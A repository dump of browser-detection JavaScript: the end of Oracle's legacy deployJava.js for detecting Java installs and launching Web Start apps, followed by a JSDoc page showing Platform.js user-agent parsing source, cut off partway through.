                log('[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): ' + minimumVersion);
                retval = this.versionCheck('1.4.2+');
            }
            return retval;
        },

        // obtain JPI version using navigator.mimeTypes array
        // if found, set the version to this.firefoxJavaVersion
        getJPIVersionUsingMimeType: function() {
            // Walk through the full list of mime types.
            for (var i = 0; i < navigator.mimeTypes.length; ++i) {
                var s = navigator.mimeTypes[i].type;
                // The jpi-version is the plug-in version.  This is the best
                // version to use.
                var m = s.match(/^application\/x-java-applet;jpi-version=(.*)$/);
                if (m != null) {
                    this.firefoxJavaVersion = m[1];
                    // Opera puts the latest sun JRE last not first
                    if ('Opera' != this.browserName2) {
                        break;
                    }
                }
            }
        },

        // launch the specified JNLP application using the passed in jnlp file
        // the jnlp file does not need to have a codebase
        // this requires JRE 7 or above to work
        // if machine has no JRE 7 or above, we will try to auto-install and then launch
        // (function will return false if JRE auto-install failed)
        launchWebStartApplication: function(jnlp) {
            var uaString = navigator.userAgent.toLowerCase();

            this.getJPIVersionUsingMimeType();

            // make sure we are JRE 7 or above
            if (this.isWebStartInstalled('1.7.0') == false) {

                // perform latest JRE auto-install
                if ((this.installJRE('1.7.0+') == false) ||
                    ((this.isWebStartInstalled('1.7.0') == false))) {
                    return false;
                }
            }

            var jnlpDocbase = null;

            // use document.documentURI for docbase
            if (document.documentURI) {
                jnlpDocbase = document.documentURI;
            }

            // fallback to document.URL if documentURI not available
            if (jnlpDocbase == null) {
                jnlpDocbase = document.URL;
            }

            var browser = this.getBrowser();

            var launchTag;

            if (browser == 'MSIE') {

                launchTag = '<' +
                    'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' +
                    'width="0" height="0">' +
                    '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' +
                    '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' +
                    '<' + '/' + 'object' + '>';
            } else if (browser == 'Netscape Family') {

                launchTag = '<' +
                    'embed type="application/x-java-applet;jpi-version=' +
                    this.firefoxJavaVersion + '" ' +
                    'width="0" height="0" ' +
                    'launchjnlp="' +  jnlp + '"' +
                    'docbase="' +  jnlpDocbase + '"' +
                    ' />';
            }

            if (document.body == 'undefined' || document.body == null) {
                document.write(launchTag);
                // go back to original page, otherwise current page becomes blank
                document.location = jnlpDocbase;
            } else {
                var divTag = document.createElement("div");
                divTag.id = "div1";
                divTag.style.position = "relative";
                divTag.style.left = "-10000px";
                divTag.style.margin = "0px auto";
                divTag.className ="dynamicDiv";
                divTag.innerHTML = launchTag;
                document.body.appendChild(divTag);
            }
        },

        createWebStartLaunchButtonEx: function(jnlp, minimumVersion) {

            if (this.returnPage == null) {
                // if there is an install, come back and run the jnlp file
                this.returnPage = jnlp;
            }

            var url = 'javascript:deployJava.launchWebStartApplication(\'' + jnlp +
                '\');';

            document.write('<' + 'a href="' + url +
                '" onMouseOver="window.status=\'\'; ' +
                'return true;"><' + 'img ' +
                'src="' + this.launchButtonPNG + '" ' +
                'border="0" /><' + '/' + 'a' + '>');
        },


        /**
         * Outputs a launch button for the specified JNLP URL.  When clicked, the
         * button will ensure that an appropriate JRE is installed and then launch
         * the JNLP application.  minimumVersion is of the form #[.#[.#[_#]]], and
         * is the minimum JRE version necessary to run this JNLP application.
         * minimumVersion is optional, and if it is not specified, '1.4.2'
         * will be used.
         * If an appropriate JRE or Web Start installation is detected,
         * the JNLP application will be launched, otherwise installLatestJRE()
         * will be called.
         *
         * After installLatestJRE() is called, the script will attempt to detect
         * that the JRE installation has completed and launch the JNLP application,
         * but there are circumstances (such as when the JRE installation
         * requires a browser restart) when this cannot be fulfilled.
         */
        createWebStartLaunchButton: function(jnlp, minimumVersion) {

            if (this.returnPage == null) {
                // if there is an install, come back and run the jnlp file
                this.returnPage = jnlp;
            }

            var url = 'javascript:' +
                'if (!deployJava.isWebStartInstalled(&quot;' +
                minimumVersion + '&quot;)) {' +
                'if (deployJava.installLatestJRE()) {' +
                'if (deployJava.launch(&quot;' + jnlp + '&quot;)) {}' +
                '}' +
                '} else {' +
                'if (deployJava.launch(&quot;' + jnlp + '&quot;)) {}' +
                '}';

            document.write('<' + 'a href="' + url +
                '" onMouseOver="window.status=\'\'; ' +
                'return true;"><' + 'img ' +
                'src="' + this.launchButtonPNG + '" ' +
                'border="0" /><' + '/' + 'a' + '>');
        },


        /**
         * Launch a JNLP application, (using the plugin if available)
         */
        launch: function(jnlp) {
            /*
             * Using the plugin to launch Java Web Start is disabled for the time being
             */
            document.location=jnlp;
            return true;
        },


        /*
         * returns true if the ActiveX or XPI plugin is installed
         */
        isPluginInstalled: function() {
            var plugin = this.getPlugin();
            if (plugin && plugin.jvms) {
                return true;
            } else {
                return false;
            }
        },

        /*
         * returns true if the plugin is installed and AutoUpdate is enabled
         */
        isAutoUpdateEnabled: function() {
            if (this.isPluginInstalled()) {
                return this.getPlugin().isAutoUpdateEnabled();
            }
            return false;
        },

        /*
         * sets AutoUpdate on if plugin is installed
         */
        setAutoUpdateEnabled: function() {
            if (this.isPluginInstalled()) {
                return this.getPlugin().setAutoUpdateEnabled();
            }
            return false;
        },

        /*
         * sets the preferred install type : null, online, kernel
         */
        setInstallerType: function(type) {
            this.installType = type;
            if (this.isPluginInstalled()) {
                return this.getPlugin().setInstallerType(type);
            }
            return false;
        },

        /*
         * sets additional package list - to be used by kernel installer
         */
        setAdditionalPackages: function(packageList) {
            if (this.isPluginInstalled()) {
                return this.getPlugin().setAdditionalPackages(
                    packageList);
            }
            return false;
        },

        /*
         * sets preference to install Early Access versions if available
         */
        setEarlyAccess: function(enabled) {
            this.EAInstallEnabled = enabled;
        },

        /*
         * Determines if the next generation plugin (Plugin II) is default
         */
        isPlugin2: function() {
            if (this.isPluginInstalled()) {
                if (this.versionCheck('1.6.0_10+')) {
                    try {
                        return this.getPlugin().isPlugin2();
                    } catch (err) {
                        // older plugin w/o isPlugin2() function -
                    }
                }
            }
            return false;
        },

        //support native DT plugin?
        allowPlugin: function() {
            this.getBrowser();

            // Safari and Opera browsers find the plugin but it
            // doesn't work, so until we can get it to work - don't use it.
            var ret = ('Safari' != this.browserName2 &&
                'Opera' != this.browserName2);

            return ret;
        },

        getPlugin: function() {
            this.refresh();

            var ret = null;
            if (this.allowPlugin()) {
                ret = document.getElementById('deployJavaPlugin');
            }
            return ret;
        },

        compareVersionToPattern: function(version, patternArray,
                                          familyMatch, minMatch) {
            if (version == undefined || patternArray == undefined) {
                return false;
            }
            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
            var matchData = version.match(regex);

            if (matchData != null) {
                var index = 0;
                var result = new Array();

                for (var i = 1; i < matchData.length; ++i) {
                    if ((typeof matchData[i] == 'string') && (matchData[i] != ''))
                    {
                        result[index] = matchData[i];
                        index++;
                    }
                }

                var l = Math.min(result.length, patternArray.length);

                // result contains what is installed in local machine
                // patternArray is what is being requested by application
                if (minMatch) {
                    // minimum version match, return true if what we have (installed)
                    // is greater or equal to what is requested.  false otherwise.
                    for (var i = 0; i < l; ++i) {
                        if (result[i] < patternArray[i]) {
                            return false;
                        } else if (result[i] > patternArray[i]) {
                            return true;
                        }
                    }
                    return true;
                } else {
                    for (var i = 0; i < l; ++i) {
                        if (result[i] != patternArray[i]) return false;
                    }
                    if (familyMatch) {
                        // family match - return true as long as what we have
                        // (installed) matches up to the request pattern
                        return true;
                    } else {
                        // exact match
                        // result and patternArray needs to have exact same content
                        return (result.length == patternArray.length);
                    }
                }
            } else {
                return false;
            }
        },

        getBrowser: function() {

            if (this.browserName == null) {
                var browser = navigator.userAgent.toLowerCase();

                log('[getBrowser()] navigator.userAgent.toLowerCase() -> ' + browser);


                // order is important here.  Safari userAgent contains mozilla,
                // and Chrome userAgent contains both mozilla and safari.
                if ((browser.indexOf('msie') != -1) && (browser.indexOf('opera') == -1)) {
                    this.browserName = 'MSIE';
                    this.browserName2 = 'MSIE';
                } else if (browser.indexOf('iphone') != -1) {
                    // this included both iPhone and iPad
                    this.browserName = 'Netscape Family';
                    this.browserName2 = 'iPhone';
                } else if ((browser.indexOf('firefox') != -1) && (browser.indexOf('opera') == -1)) {
                    this.browserName = 'Netscape Family';
                    this.browserName2 = 'Firefox';
                } else if (browser.indexOf('chrome') != -1) {
                    this.browserName = 'Netscape Family';
                    this.browserName2 = 'Chrome';
                } else if (browser.indexOf('safari') != -1) {
                    this.browserName = 'Netscape Family';
                    this.browserName2 = 'Safari';
                } else if ((browser.indexOf('mozilla') != -1) && (browser.indexOf('opera') == -1)) {
                    this.browserName = 'Netscape Family';
                    this.browserName2 = 'Other';
                } else if (browser.indexOf('opera') != -1) {
                    this.browserName = 'Netscape Family';
                    this.browserName2 = 'Opera';
                } else {
                    this.browserName = '?';
                    this.browserName2 = 'unknown';
                }

                log('[getBrowser()] Detected browser name:'+ this.browserName +
                    ', ' + this.browserName2);
            }
            return this.browserName;
        },


        testUsingActiveX: function(version) {
            var objectName = 'JavaWebStart.isInstalled.' + version + '.0';

            // we need the typeof check here for this to run on FF/Chrome
            // the check needs to be in place here - cannot even pass ActiveXObject
            // as arg to another function
            if (typeof ActiveXObject == 'undefined' || !ActiveXObject) {
                log('[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?');
                return false;
            }

            try {
                return (new ActiveXObject(objectName) != null);
            } catch (exception) {
                return false;
            }
        },


        testForMSVM: function() {
            var clsid = '{08B0E5C0-4FCB-11CF-AAA5-00401C608500}';

            if (typeof oClientCaps != 'undefined') {
                var v = oClientCaps.getComponentVersion(clsid, "ComponentID");
                if ((v == '') || (v == '5,0,5000,0')) {
                    return false;
                } else {
                    return true;
                }
            } else {
                return false;
            }
        },


        testUsingMimeTypes: function(version) {
            if (!navigator.mimeTypes) {
                log ('[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?');
                return false;
            }

            for (var i = 0; i < navigator.mimeTypes.length; ++i) {
                s = navigator.mimeTypes[i].type;
                var m = s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/);
                if (m != null) {
                    if (this.compareVersions(m[1], version)) {
                        return true;
                    }
                }
            }
            return false;
        },

        testUsingPluginsArray: function(version) {
            if ((!navigator.plugins) || (!navigator.plugins.length)) {
                return false;
            }
            var platform = navigator.platform.toLowerCase();

            for (var i = 0; i < navigator.plugins.length; ++i) {
                s = navigator.plugins[i].description;
                if (s.search(/^Java Switchable Plug-in (Cocoa)/) != -1) {
                    // Safari on MAC
                    if (this.compareVersions("1.5.0", version)) {
                        return true;
                    }
                } else if (s.search(/^Java/) != -1) {
                    if (platform.indexOf('win') != -1) {
                        // still can't tell - opera, safari on windows
                        // return true for 1.5.0 and 1.6.0
                        if (this.compareVersions("1.5.0", version) ||
                            this.compareVersions("1.6.0", version)) {
                            return true;
                        }
                    }
                }
            }
            // if above dosn't work on Apple or Windows, just allow 1.5.0
            if (this.compareVersions("1.5.0", version)) {
                return true;
            }
            return false;



        },

        IEInstall: function() {

            location.href = constructGetJavaURL(
                ((this.returnPage != null) ?
                    ('&returnPage=' + this.returnPage) : '') +
                    ((this.locale != null) ?
                        ('&locale=' + this.locale) : '') +
                    ((this.brand != null) ? ('&brand=' + this.brand) : ''));

            // should not actually get here
            return false;
        },

        done: function (name, result) {
        },

        FFInstall: function() {

            location.href = constructGetJavaURL(
                ((this.returnPage != null) ?
                    ('&returnPage=' + this.returnPage) : '') +
                    ((this.locale != null) ?
                        ('&locale=' + this.locale) : '') +
                    ((this.brand != null) ? ('&brand=' + this.brand) : '') +
                    ((this.installType != null) ?
                        ('&type=' + this.installType) : ''));

            // should not actually get here
            return false;
        },

        // return true if 'installed' (considered as a JRE version string) is
        // greater than or equal to 'required' (again, a JRE version string).
        compareVersions: function(installed, required) {

            var a = installed.split('.');
            var b = required.split('.');

            for (var i = 0; i < a.length; ++i) {
                a[i] = Number(a[i]);
            }
            for (var i = 0; i < b.length; ++i) {
                b[i] = Number(b[i]);
            }
            if (a.length == 2) {
                a[2] = 0;
            }

            if (a[0] > b[0]) return true;
            if (a[0] < b[0]) return false;

            if (a[1] > b[1]) return true;
            if (a[1] < b[1]) return false;

            if (a[2] > b[2]) return true;
            if (a[2] < b[2]) return false;

            return true;
        },

        enableAlerts: function() {
            // reset this so we can show the browser detection
            this.browserName = null;
            this.debug = true;
        },

        poll: function() {

            this.refresh();
            var postInstallJREList = this.getJREs();

            if ((this.preInstallJREList.length == 0) &&
                (postInstallJREList.length != 0)) {
                clearInterval(this.myInterval);
                if (this.returnPage != null) {
                    location.href = this.returnPage;
                };
            }

            if ((this.preInstallJREList.length != 0) &&
                (postInstallJREList.length != 0) &&
                (this.preInstallJREList[0] != postInstallJREList[0])) {
                clearInterval(this.myInterval);
                if (this.returnPage != null) {
                    location.href = this.returnPage;
                }
            }

        },

        writePluginTag: function() {
            var browser = this.getBrowser();

            if (browser == 'MSIE') {
                document.write('<' +
                    'object classid="clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA" ' +
                    'id="deployJavaPlugin" width="0" height="0">' +
                    '<' + '/' + 'object' + '>');
            } else if (browser == 'Netscape Family' && this.allowPlugin()) {
                this.writeEmbedTag();
            }
        },

        refresh: function() {
            navigator.plugins.refresh(false);

            var browser = this.getBrowser();
            if (browser == 'Netscape Family' && this.allowPlugin()) {
                var plugin = document.getElementById('deployJavaPlugin');
                // only do this again if no plugin
                if (plugin == null) {
                    this.writeEmbedTag();
                }
            }
        },

        writeEmbedTag: function() {
            var written = false;
            if (navigator.mimeTypes != null) {
                for (var i=0; i < navigator.mimeTypes.length; i++) {
                    if (navigator.mimeTypes[i].type == this.mimeType) {
                        if (navigator.mimeTypes[i].enabledPlugin) {
                            document.write('<' +
                                'embed id="deployJavaPlugin" type="' +
                                this.mimeType + '" hidden="true" />');
                            written = true;
                        }
                    }
                }
                // if we ddn't find new mimeType, look for old mimeType
                if (!written) for (var i=0; i < navigator.mimeTypes.length; i++) {
                    if (navigator.mimeTypes[i].type == this.oldMimeType) {
                        if (navigator.mimeTypes[i].enabledPlugin) {
                            document.write('<' +
                                'embed id="deployJavaPlugin" type="' +
                                this.oldMimeType + '" hidden="true" />');
                        }
                    }
                }
            }
        }
    }; // deployJava object

    rv.writePluginTag();
    if (rv.locale == null) {
        var loc = null;

        if (loc == null) try {
            loc = navigator.userLanguage;
        } catch (err) { }

        if (loc == null) try {
            loc = navigator.systemLanguage;
        } catch (err) { }

        if (loc == null) try {
            loc = navigator.language;
        } catch (err) { }

        if (loc != null) {
            loc.replace("-","_")
            rv.locale = loc;
        }
    }

    return rv;
}();

Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/lib_platform.js.html ================================================ JSDoc: Source: lib/platform.js

Source: lib/platform.js

/*!
 * Platform.js
 * Copyright 2014-2020 Benjamin Tan
 * Copyright 2011-2013 John-David Dalton
 * Available under MIT license
 */
;(function() {
  'use strict';

  /** Used to determine if values are of the language type `Object`. */
  var objectTypes = {
    'function': true,
    'object': true
  };

  /** Used as a reference to the global object. */
  var root = (objectTypes[typeof window] && window) || this;

  /** Backup possible global object. */
  var oldRoot = root;

  /** Detect free variable `exports`. */
  var freeExports = objectTypes[typeof exports] && exports;

  /** Detect free variable `module`. */
  var freeModule = objectTypes[typeof module] && module && !module.nodeType && module;

  /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */
  var freeGlobal = freeExports && freeModule && typeof global == 'object' && global;
  if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {
    root = freeGlobal;
  }

  /**
   * Used as the maximum length of an array-like object.
   * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)
   * for more details.
   */
  var maxSafeInteger = Math.pow(2, 53) - 1;

  /** Regular expression to detect Opera. */
  var reOpera = /\bOpera/;

  /** Possible global object. */
  var thisBinding = this;

  /** Used for native method references. */
  var objectProto = Object.prototype;

  /** Used to check for own properties of an object. */
  var hasOwnProperty = objectProto.hasOwnProperty;

  /** Used to resolve the internal `[[Class]]` of values. */
  var toString = objectProto.toString;

  /*--------------------------------------------------------------------------*/

  /**
   * Capitalizes a string value.
   *
   * @private
   * @param {string} string The string to capitalize.
   * @returns {string} The capitalized string.
   */
  function capitalize(string) {
    string = String(string);
    return string.charAt(0).toUpperCase() + string.slice(1);
  }

  /**
   * A utility function to clean up the OS name.
   *
   * @private
   * @param {string} os The OS name to clean up.
   * @param {string} [pattern] A `RegExp` pattern matching the OS name.
   * @param {string} [label] A label for the OS.
   */
  function cleanupOS(os, pattern, label) {
    // Platform tokens are defined at:
    // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
    // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
    var data = {
      '10.0': '10',
      '6.4':  '10 Technical Preview',
      '6.3':  '8.1',
      '6.2':  '8',
      '6.1':  'Server 2008 R2 / 7',
      '6.0':  'Server 2008 / Vista',
      '5.2':  'Server 2003 / XP 64-bit',
      '5.1':  'XP',
      '5.01': '2000 SP1',
      '5.0':  '2000',
      '4.0':  'NT',
      '4.90': 'ME'
    };
    // Detect Windows version from platform tokens.
    if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) &&
        (data = data[/[\d.]+$/.exec(os)])) {
      os = 'Windows ' + data;
    }
    // Correct character case and cleanup string.
    os = String(os);

    if (pattern && label) {
      os = os.replace(RegExp(pattern, 'i'), label);
    }

    os = format(
      os.replace(/ ce$/i, ' CE')
        .replace(/\bhpw/i, 'web')
        .replace(/\bMacintosh\b/, 'Mac OS')
        .replace(/_PowerPC\b/i, ' OS')
        .replace(/\b(OS X) [^ \d]+/i, '$1')
        .replace(/\bMac (OS X)\b/, '$1')
        .replace(/\/(\d)/, ' $1')
        .replace(/_/g, '.')
        .replace(/(?: BePC|[ .]*fc[ \d.]+)$/i, '')
        .replace(/\bx86\.64\b/gi, 'x86_64')
        .replace(/\b(Windows Phone) OS\b/, '$1')
        .replace(/\b(Chrome OS \w+) [\d.]+\b/, '$1')
        .split(' on ')[0]
    );

    return os;
  }

  /**
   * An iteration utility for arrays and objects.
   *
   * @private
   * @param {Array|Object} object The object to iterate over.
   * @param {Function} callback The function called per iteration.
   */
  function each(object, callback) {
    var index = -1,
        length = object ? object.length : 0;

    if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) {
      while (++index < length) {
        callback(object[index], index, object);
      }
    } else {
      forOwn(object, callback);
    }
  }

  /**
   * Trim and conditionally capitalize string values.
   *
   * @private
   * @param {string} string The string to format.
   * @returns {string} The formatted string.
   */
  function format(string) {
    string = trim(string);
    return /^(?:webOS|i(?:OS|P))/.test(string)
      ? string
      : capitalize(string);
  }

  /**
   * Iterates over an object's own properties, executing the `callback` for each.
   *
   * @private
   * @param {Object} object The object to iterate over.
   * @param {Function} callback The function executed per own property.
   */
  function forOwn(object, callback) {
    for (var key in object) {
      if (hasOwnProperty.call(object, key)) {
        callback(object[key], key, object);
      }
    }
  }

  /**
   * Gets the internal `[[Class]]` of a value.
   *
   * @private
   * @param {*} value The value.
   * @returns {string} The `[[Class]]`.
   */
  function getClassOf(value) {
    return value == null
      ? capitalize(value)
      : toString.call(value).slice(8, -1);
  }

  /**
   * Host objects can return type values that are different from their actual
   * data type. The objects we are concerned with usually return non-primitive
   * types of "object", "function", or "unknown".
   *
   * @private
   * @param {*} object The owner of the property.
   * @param {string} property The property to check.
   * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.
   */
  function isHostType(object, property) {
    var type = object != null ? typeof object[property] : 'number';
    return !/^(?:boolean|number|string|undefined)$/.test(type) &&
      (type == 'object' ? !!object[property] : true);
  }

  /**
   * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.
   *
   * @private
   * @param {string} string The string to qualify.
   * @returns {string} The qualified string.
   */
  function qualify(string) {
    return String(string).replace(/([ -])(?!$)/g, '$1?');
  }

  /**
   * A bare-bones `Array#reduce` like utility function.
   *
   * @private
   * @param {Array} array The array to iterate over.
   * @param {Function} callback The function called per iteration.
   * @returns {*} The accumulated result.
   */
  function reduce(array, callback) {
    var accumulator = null;
    each(array, function(value, index) {
      accumulator = callback(accumulator, value, index, array);
    });
    return accumulator;
  }

  /**
   * Removes leading and trailing whitespace from a string.
   *
   * @private
   * @param {string} string The string to trim.
   * @returns {string} The trimmed string.
   */
  function trim(string) {
    return String(string).replace(/^ +| +$/g, '');
  }

  /*--------------------------------------------------------------------------*/

  /**
   * Creates a new platform object.
   *
   * @memberOf platform
   * @param {Object|string} [ua=navigator.userAgent] The user agent string or
   *  context object.
   * @returns {Object} A platform object.
   */
  function parse(ua) {

    /** The environment context object. */
    var context = root;

    /** Used to flag when a custom context is provided. */
    var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String';

    // Juggle arguments.
    if (isCustomContext) {
      context = ua;
      ua = null;
    }

    /** Browser navigator object. */
    var nav = context.navigator || {};

    /** Browser user agent string. */
    var userAgent = nav.userAgent || '';

    ua || (ua = userAgent);

    /** Used to flag when `thisBinding` is the [ModuleScope]. */
    var isModuleScope = isCustomContext || thisBinding == oldRoot;

    /** Used to detect if browser is like Chrome. */
    var likeChrome = isCustomContext
      ? !!nav.likeChrome
      : /\bChrome\b/.test(ua) && !/internal|\n/i.test(toString.toString());

    /** Internal `[[Class]]` value shortcuts. */
    var objectClass = 'Object',
        airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',
        enviroClass = isCustomContext ? objectClass : 'Environment',
        javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java),
        phantomClass = isCustomContext ? objectClass : 'RuntimeObject';

    /** Detect Java environments. */
    var java = /\bJava/.test(javaClass) && context.java;

    /** Detect Rhino. */
    var rhino = java && getClassOf(context.environment) == enviroClass;

    /** A character to represent alpha. */
    var alpha = java ? 'a' : '\u03b1';

    /** A character to represent beta. */
    var beta = java ? 'b' : '\u03b2';

    /** Browser document object. */
    var doc = context.document || {};

    /**
     * Detect Opera browser (Presto-based).
     * http://www.howtocreate.co.uk/operaStuff/operaObject.html
     * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini
     */
    var opera = context.operamini || context.opera;

    /** Opera `[[Class]]`. */
    var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera))
      ? operaClass
      : (opera = null);

    /*------------------------------------------------------------------------*/

    /** Temporary variable used over the script's lifetime. */
    var data;

    /** The CPU architecture. */
    var arch = ua;

    /** Platform description array. */
    var description = [];

    /** Platform alpha/beta indicator. */
    var prerelease = null;

    /** A flag to indicate that environment features should be used to resolve the platform. */
    var useFeatures = ua == userAgent;

    /** The browser/environment version. */
    var version = useFeatures && opera && typeof opera.version == 'function' && opera.version();

    /** A flag to indicate if the OS ends with "/ Version" */
    var isSpecialCasedOS;

    /* Detectable layout engines (order is important). */
    var layout = getLayout([
      { 'label': 'EdgeHTML', 'pattern': 'Edge' },
      'Trident',
      { 'label': 'WebKit', 'pattern': 'AppleWebKit' },
      'iCab',
      'Presto',
      'NetFront',
      'Tasman',
      'KHTML',
      'Gecko'
    ]);

    /* Detectable browser names (order is important). */
    var name = getName([
      'Adobe AIR',
      'Arora',
      'Avant Browser',
      'Breach',
      'Camino',
      'Electron',
      'Epiphany',
      'Fennec',
      'Flock',
      'Galeon',
      'GreenBrowser',
      'iCab',
      'Iceweasel',
      'K-Meleon',
      'Konqueror',
      'Lunascape',
      'Maxthon',
      { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
      'Midori',
      'Nook Browser',
      'PaleMoon',
      'PhantomJS',
      'Raven',
      'Rekonq',
      'RockMelt',
      { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },
      'SeaMonkey',
      { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
      'Sleipnir',
      'SlimBrowser',
      { 'label': 'SRWare Iron', 'pattern': 'Iron' },
      'Sunrise',
      'Swiftfox',
      'Vivaldi',
      'Waterfox',
      'WebPositive',
      { 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
      { 'label': 'UC Browser', 'pattern': 'UCBrowser' },
      'Opera Mini',
      { 'label': 'Opera Mini', 'pattern': 'OPiOS' },
      'Opera',
      { 'label': 'Opera', 'pattern': 'OPR' },
      'Chromium',
      'Chrome',
      { 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
      { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
      { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
      { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
      { 'label': 'IE', 'pattern': 'IEMobile' },
      { 'label': 'IE', 'pattern': 'MSIE' },
      'Safari'
    ]);

    /* Detectable products (order is important). */
    var product = getProduct([
      { 'label': 'BlackBerry', 'pattern': 'BB10' },
      'BlackBerry',
      { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },
      { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },
      { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },
      { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },
      { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },
      { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },
      { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },
      { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },
      { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },
      'Google TV',
      'Lumia',
      'iPad',
      'iPod',
      'iPhone',
      'Kindle',
      { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
      'Nexus',
      'Nook',
      'PlayBook',
      'PlayStation Vita',
      'PlayStation',
      'TouchPad',
      'Transformer',
      { 'label': 'Wii U', 'pattern': 'WiiU' },
      'Wii',
      'Xbox One',
      { 'label': 'Xbox 360', 'pattern': 'Xbox' },
      'Xoom'
    ]);

    /* Detectable manufacturers. */
    var manufacturer = getManufacturer({
      'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
      'Alcatel': {},
      'Archos': {},
      'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
      'Asus': { 'Transformer': 1 },
      'Barnes & Noble': { 'Nook': 1 },
      'BlackBerry': { 'PlayBook': 1 },
      'Google': { 'Google TV': 1, 'Nexus': 1 },
      'HP': { 'TouchPad': 1 },
      'HTC': {},
      'Huawei': {},
      'Lenovo': {},
      'LG': {},
      'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
      'Motorola': { 'Xoom': 1 },
      'Nintendo': { 'Wii U': 1,  'Wii': 1 },
      'Nokia': { 'Lumia': 1 },
      'Oppo': {},
      'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
      'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
      'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
    });

    /* Detectable operating systems (order is important). */
    var os = getOS([
      'Windows Phone',
      'KaiOS',
      'Android',
      'CentOS',
      { 'label': 'Chrome OS', 'pattern': 'CrOS' },
      'Debian',
      { 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
      'Fedora',
      'FreeBSD',
      'Gentoo',
      'Haiku',
      'Kubuntu',
      'Linux Mint',
      'OpenBSD',
      'Red Hat',
      'SuSE',
      'Ubuntu',
      'Xubuntu',
      'Cygwin',
      'Symbian OS',
      'hpwOS',
      'webOS ',
      'webOS',
      'Tablet OS',
      'Tizen',
      'Linux',
      'Mac OS X',
      'Macintosh',
      'Mac',
      'Windows 98;',
      'Windows '
    ]);

    /*------------------------------------------------------------------------*/

    /**
     * Picks the layout engine from an array of guesses.
     *
     * @private
     * @param {Array} guesses An array of guesses.
     * @returns {null|string} The detected layout engine.
     */
    function getLayout(guesses) {
      return reduce(guesses, function(result, guess) {
        return result || RegExp('\\b' + (
          guess.pattern || qualify(guess)
        ) + '\\b', 'i').exec(ua) && (guess.label || guess);
      });
    }

    /**
     * Picks the manufacturer from an array of guesses.
     *
     * @private
     * @param {Array} guesses An object of guesses.
     * @returns {null|string} The detected manufacturer.
     */
    function getManufacturer(guesses) {
      return reduce(guesses, function(result, value, key) {
        // Lookup the manufacturer by product or scan the UA for the manufacturer.
        return result || (
          value[product] ||
          value[/^[a-z]+(?: +[a-z]+\b)*/i.exec(product)] ||
          RegExp('\\b' + qualify(key) + '(?:\\b|\\w*\\d)', 'i').exec(ua)
        ) && key;
      });
    }

    /**
     * Picks the browser name from an array of guesses.
     *
     * @private
     * @param {Array} guesses An array of guesses.
     * @returns {null|string} The detected browser name.
     */
    function getName(guesses) {
      return reduce(guesses, function(result, guess) {
        return result || RegExp('\\b' + (
          guess.pattern || qualify(guess)
        ) + '\\b', 'i').exec(ua) && (guess.label || guess);
      });
    }

    /**
     * Picks the OS name from an array of guesses.
     *
     * @private
     * @param {Array} guesses An array of guesses.
     * @returns {null|string} The detected OS name.
     */
    function getOS(guesses) {
      return reduce(guesses, function(result, guess) {
        var pattern = guess.pattern || qualify(guess);
        if (!result && (result =
              RegExp('\\b' + pattern + '(?:/[\\d.]+|[ \\w.]*)', 'i').exec(ua)
            )) {
          result = cleanupOS(result, pattern, guess.label || guess);
        }
        return result;
      });
    }

    /**
     * Picks the product name from an array of guesses.
     *
     * @private
     * @param {Array} guesses An array of guesses.
     * @returns {null|string} The detected product name.
     */
    function getProduct(guesses) {
      return reduce(guesses, function(result, guess) {
